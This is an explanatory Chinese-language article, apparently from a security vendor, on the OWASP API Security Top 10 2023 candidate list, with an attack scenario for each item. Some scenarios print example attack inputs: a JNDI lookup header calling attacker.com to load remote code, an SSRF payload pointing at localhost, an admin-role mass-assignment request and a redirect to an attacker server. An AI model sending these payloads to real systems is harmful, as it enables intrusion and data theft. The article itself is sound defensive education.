伴隨企業數字化程度的加深,API成為軟件世界數據交互的“通用語言”,其數量迎來爆發式增長。同時,API的廣泛應用也為運維可見性、安全性提出了新的挑戰。針對API這種“易攻難守”的新興資產的安全治理顯得愈發重要。

OWASP為強調API安全的重要性,在2019年首次提出了API Security Top 10。后隨著安全產業實踐加深,于2023年發布了API Security Top 10(候選版)的內容更新。該更新內容進一步強調了API攻擊場景與Web攻擊的差異化,突出API權限管理、資產管理、業務風控及供應鏈問題。

主要變化如下圖所示:

1. 針對身份認證漏洞,越來越多的服務提供商開始將身份認證范圍從對人的認證變為對“人+機”的認證。這意味著除了對用戶身份進行驗證外,還需結合設備、環境等其他因素來進行身份認證。這種方式相比傳統的單一身份認證方式更安全可靠,可以有效避免偽造、冒用等攻擊手段。

2. 增加了“服務端請求偽造漏洞”內容,說明這是一種非常危險的安全漏洞,攻擊者可以利用該漏洞竊取敏感信息、發起內網攻擊、進行DoS攻擊等,同時表明了在服務端請求處理過程中,輸入驗證與過濾的重要性。加強對SSRF漏洞的防范,可以有效提高應用程序的安全性。

3. 隨著人工智能、機器學習等技術的發展,自動化攻擊手段也變得越來越普遍和復雜。自動化攻擊可以通過機器學習算法、大數據分析、自動化工具等方式,快速、準確地掃描目標系統漏洞或發起攻擊,對系統造成嚴重威脅。增加了“缺少對自動化威脅的防護”內容,說明在實際應用中,很多企業缺乏對自動化攻擊的防護措施,存在一定的安全風險。而不安全的第三方API可能會導致系統遭受攻擊,企業需要加強安全意識,選擇可信賴的服務提供商,進行充分的安全測試和驗證,限制API的權限并監控API的使用情況,可以保障系統的安全性。

這些趨勢變化說明了在信息化和數字化快速發展的時代,傳統的身份驗證方式已經無法滿足日益增長的安全需求,需要采用更多元化、智能化的身份認證方式來提高系統、服務、數據的安全性。

以下是本次API Security Top 10 2023版的詳細解析:

1. 對象級別授權失效(Broken Object Level Authorization):無變化

對象級授權是一種訪問控制機制,其作用是校驗用戶是否能夠訪問特定的對象。這種授權通常在代碼層面實現,以確保用戶只能訪問他們有權利訪問的對象。但是,如果API存在“失效的對象級授權”漏洞,攻擊者就可以通過改變請求中的對象ID來繞過授權限制,從而獲取敏感數據或者完全掌控賬戶。這個漏洞在基于API的應用程序中非常普遍,因為服務器通常無法跟蹤完整的用戶狀態,而是依賴于請求參數中的對象ID來決定哪些對象可以被用戶訪問。

場景案例:

在線文檔存儲服務允許用戶上傳、查看、編輯和刪除他們的文件。當用戶想要刪除一個文件時,系統會將對應文件的ID傳遞給API,以便系統確定要刪除哪個文件。

POST /graphql{"operationName":"deleteReports","variables":{"reportKeys":[""]  },"query":"mutation deleteReports($siteId: ID!, $reportKeys: [String]!) {    {      deleteReports(reportKeys: $reportKeys)    }  }"}

因為在線文檔存儲服務在刪除文件時只依賴文件的ID,沒有進行其他的權限檢查,所以用戶有可能會能夠刪除其他用戶上傳的文檔。也就是說,如果攻擊者知道其他用戶文檔的ID,那么他們就可以利用這個漏洞來刪除其他用戶的文件。

2. 身份認證失效(Broken Authentication):更新,從對用戶本身的認證,將范圍擴展到“人機”范圍。

身份驗證機制是保護API安全的重要措施,它可以防止未經授權的用戶訪問系統。但是,有些實現方式可能不夠嚴格或者考慮不完全,使得攻擊者有可能破壞或偽造身份驗證令牌,或者利用漏洞來盜用其他用戶的身份。

場景案例:

用戶要更新他們賬戶關聯的電子郵件地址,那么客戶端需要發送一個特殊的API請求:

PUT /accountAuthorization: Bearer { "email": "" }

由于API沒有要求用戶提供當前的密碼來確認身份,攻擊者就有可能通過竊取身份驗證令牌來偽裝成其他用戶。他們也可能會在更新受害者賬戶的電子郵件地址時實施攻擊,從而接管受害者的賬戶。

3. 對象屬性級別授權失效(Broken Object Property Level Authorization):更新,將之前“過度的數據暴露(Excessive Data Exposure)”和“批量分配(Mass Assignment)”的內容進行了合并。

對象屬性級別授權失效是指在訪問控制系統中,授權規則沒有按照預期的要求來實現,這可能會導致安全漏洞。通常,在訪問控制系統中,對象屬性級別授權非常重要,它可以確保用戶只能夠訪問他們具有權限的資源和信息。如果這個授權失效了,攻擊者就有可能訪問到他們沒有權限訪問的信息或資源,從而對系統構成威脅。

場景案例:

在基于短視頻的社交網絡中,有一些限制性內容需要進行過濾和審查。即使上傳的視頻被系統攔截了,用戶還是可以通過以下API請求來修改視頻的描述信息。

PUT /api/video/update_video{"description":"a funny video about cats"}{"description":"a funny video about cats","blocked":false}

這就意味著,如果用戶上傳不良內容的視頻并通過修改描述信息的方式繞過系統審查。

4. 資源消耗無限制(Unrestricted Resource Consumption):更新,涉及到應用層DoS,強調了后果(后端資源耗竭/云平臺欠費等)。

API請求需要使用網絡、CPU、內存和存儲等資源,如果沒有對客戶端/用戶可以請求的資源大小或數量進行限制,就可能會導致API服務器性能下降,最終引起拒絕服務攻擊(DoS)。攻擊者可以發送大量請求來消耗API服務器的資源,甚至通過暴力破解方式來突破安全措施,從而造成損失。

場景案例:

攻擊者會發送一個POST請求到/api/v1/images,上傳大圖片。API在收到這個請求后,會創建多個縮略圖,每個縮略圖大小不同。然而,由于上傳的圖片太大了,API在創建縮略圖的過程中用盡了所有可用的內存,導致系統變得無響應。

5. 功能級授權失效(Broken Function Level Authorization):無變化。

攻擊者可以利用漏洞來發送一些本不允許他們訪問的API請求,這可能會導致一些合法的API請求被暴露給未經授權的匿名用戶或普通用戶。由于API有著固定的結構和操作方式,攻擊者更容易發現其中的缺陷(例如將HTTP方法從GET替換為PUT,或者將URL中的“用戶”字符串更改為“管理員”),從而利用這些漏洞來突破系統安全限制。

場景案例:

在某些只允許邀請用戶注冊的應用程序中,移動應用程序會觸發一些API調用,以便用戶能夠加入。這個響應會返回一個包含邀請詳細信息(如用戶角色和電子郵件)的JSON文件,攻擊者會復制這個請求,并改變HTTP方法和參數。攻擊者就利用這個漏洞來冒充管理員身份,并通過發送新的邀請來獲取管理員權限。

POST /api/invites/new{"email":"attacker@somehost.com","role":"admin"}

最后攻擊者使用操縱的請求來創建自己的管理員帳戶,并獲得對系統的完全訪問權限。

6. 服務端請求偽造(Server Side Request Forgery):新增。

攻擊者利用漏洞或安全控制不嚴格的應用程序,向目標服務器發送偽造的請求,并從中獲取敏感信息或執行未經授權的操作。攻擊者可以通過找到需要提供URI(即URL地址)作為參數的API端點來實施這種攻擊,然后訪問提供的URI。成功地利用此漏洞可能會導致內部服務枚舉(例如端口掃描)或信息泄露,并可能繞過防火墻或其他安全機制。在某些情況下,它可能導致DoS或服務器被用作隱藏惡意活動的代理。

場景案例:

在某些社交網絡中,用戶可以上傳個人資料圖片。當用戶要上傳圖片時,他們可以選擇兩種方式:一是從本地計算機上傳圖片文件,二是提供一個圖片的URL鏈接。如果用戶選擇了第二種方式,那么會觸發以下API調用。

POST /api/profile/upload_picture{"picture_url":"http:///example.com/profile_pic.jpg"}

攻擊者可以通過發送惡意的URL鏈接來入侵使用API終結點的內部網絡。

{"picture_url":"localhost:8080"}

攻擊者可以通過檢查API返回響應的時間來判斷系統中某個端口是否打開或關閉。如果端口是打開狀態,那么API響應請求會很快回復,反之則會花費更長的時間進行響應。攻擊者可以利用這種方式來獲取有關目標系統的信息,從而更好地計劃他們的攻擊策略。

7. 安全配置錯誤(Security Misconfiguration):無變化。

安全配置錯誤是最常見的安全問題,這通常是由于不安全的默認配置、不完整的臨時配置、開源云存儲、錯誤的HTTP標頭配置以及包含敏感信息的詳細錯誤信息所造成的。安全配置錯誤不僅會暴露敏感用戶數據,還包括系統細節,而這些細節可能導致服務器完全被控制。

這些錯誤配置可能存在于API資源、傳輸協議或應用程序基礎架構中。包括如:未強制執行HTTPS、不必要的HTTP方法、錯誤配置的HTTP標頭、未凈化處理的輸入導致數據受損、數據泄露、詳細冗長的錯誤消息、臨時配置、跨域資源共享、缺少安全補丁等。

場景案例:

API后端服務器使用了一些流行的第三方編寫的訪問日志來記錄用戶請求和響應信息。這些記錄工具支持占位符擴展和JNDI查找,每個請求都會產生一個新的日志條目,記錄下請求的詳細信息,例如請求時間、請求類型、請求者IP地址等。這些日志數據可以幫助開發人員進行調試和性能優化,并且也可以用于安全審計和故障排除。

 / - 

攻擊者發出以下API請求,該請求將寫入訪問權限日志文件:

GET /healthX-Api-Version: ${jndi:ldap://attacker.com/Malicious.class}

由于日志記錄實用程序的默認配置不夠安全,并且網絡出站策略太寬松,攻擊者可以將惡意代碼寫入API請求中,然后通過訪問日志記錄工具來執行惡意代碼。

8. 缺少對自動化威脅的防護(Lack Of Protection From Automated Threats):新增,原版“注入(Injection)”被刪除。

缺少對自動化威脅的防護意味著在網絡安全系統中缺乏有效的機制來檢測和防御自動化攻擊,這可能會導致重大安全風險。自動化攻擊是指使用自動化工具和技術,如惡意軟件、蠕蟲病毒、僵尸網絡等,對計算機系統、網絡設備和應用程序進行攻擊。這些攻擊通常可以通過大規模的、自動化的方式進行,從而產生更廣泛和更嚴重的影響。例如,操作僵尸網絡的攻擊者繞過速率限制,因為他們可以從數千個位置/IP輕松訪問API。

場景案例:

一家科技公司宣布即將發布一款新的游戲機,這款產品的需求非常大,庫存數量有限。攻擊者通過自動化威脅方式,將惡意代碼插入到自動購買該新游戲機并完成交易的程序中。在游戲機發布當天,攻擊者利用分布在不同IP地址上的惡意代碼,先于其他人購買了大部分的游戲機股票。因為API沒有實現適當的保護措施,所以攻擊者可以輕松地搶占其他人的股票。之后,攻擊者以更高的價格將這些游戲機轉售到另一個平臺上。

9. 存量資產管理不當(Improper Assets Management):更新,強調了“未下線的老版本API/臨時調用API”風險的暴露面。

存量資產管理不當是指企業沒有對其現有的IT資源(包括硬件、軟件、網絡設備等)進行有效管理和監控。這會導致一些舊的或者不再使用的IT資源沒有被及時清理,而這些資源可能存在安全漏洞,被黑客利用入侵企業系統。此外,未經管理的存量資產也可能使企業面臨更高的運營成本和維護難度。

場景案例:

社交網絡允許獨立應用程序的開發人員與之集成,這個過程需要用戶同意分享他們的個人信息。然而,社交網絡和獨立應用程序之間的數據流缺乏監控和限制,這使得獨立應用程序可以訪問用戶信息,甚至是用戶朋友的私人信息。

一家咨詢公司建立了一個惡意應用程序,并成功地獲取了270,000個用戶的授權。由于這個漏洞,咨詢公司能夠訪問50,000,000名用戶的私人信息。最終,該咨詢公司因為惡意目的出售了這些信息,給用戶帶來了巨大的隱私風險。

10. 不安全的第三方API(Unsafe Consumption Of APIS):新增,原來“日志和監控不足(Insufficient Logging&Monitoring)”被刪除。

不安全的第三方API是指企業使用的來自第三方供應商的API存在一些安全漏洞或者沒有被充分保護,這使得黑客可以利用它們來入侵企業系統或者竊取用戶數據。第三方API可能會因為開發者的錯誤、不安全的默認配置或者未經驗證的代碼而導致安全漏洞。

場景案例:

API與第三方服務提供商集成了用戶的醫療敏感信息。數據使用HTTP通過安全鏈接發送請求如下:

POST /user/store_phr_record{ "genome": "ACTAGTAG__TTGADDAAIICCTT…" }

攻擊者找到了一種破壞第三方API的方法,使用308重定向響應與上一個類似的請求。

HTTP/1.1 308 Permanent RedirectLocation: https://attacker.com/

由于API盲目地遵循第三方重定向,攻擊者可以在其中插入惡意代碼。這使得API會重復發送用戶的請求和敏感數據到攻擊者的服務器上,而不是原來的目標服務器上。攻擊者可以利用這些數據進行各種惡意行為,例如竊取用戶信息、入侵企業網絡等。

從以上最新的API Security Top 10(候選版),可以看到,現在API安全和傳統的Web安全有很大區別,一方面需要在設計和開發階段,對API的安全性進行良好的構建和設計;另一方面還需要在進入運維階段后,針對API進行專項型的防護,根據API的特點構建全生命周期的防護體系,從而更好地應對各類風險,做到未雨綢繆、防患于未然。

隨著API以及線上業務的開展,星闌科技也將持續提升針對OWASP API Security TOP 10的威脅防御能力,為企業線上的數字化業務提供堅實的安全防護。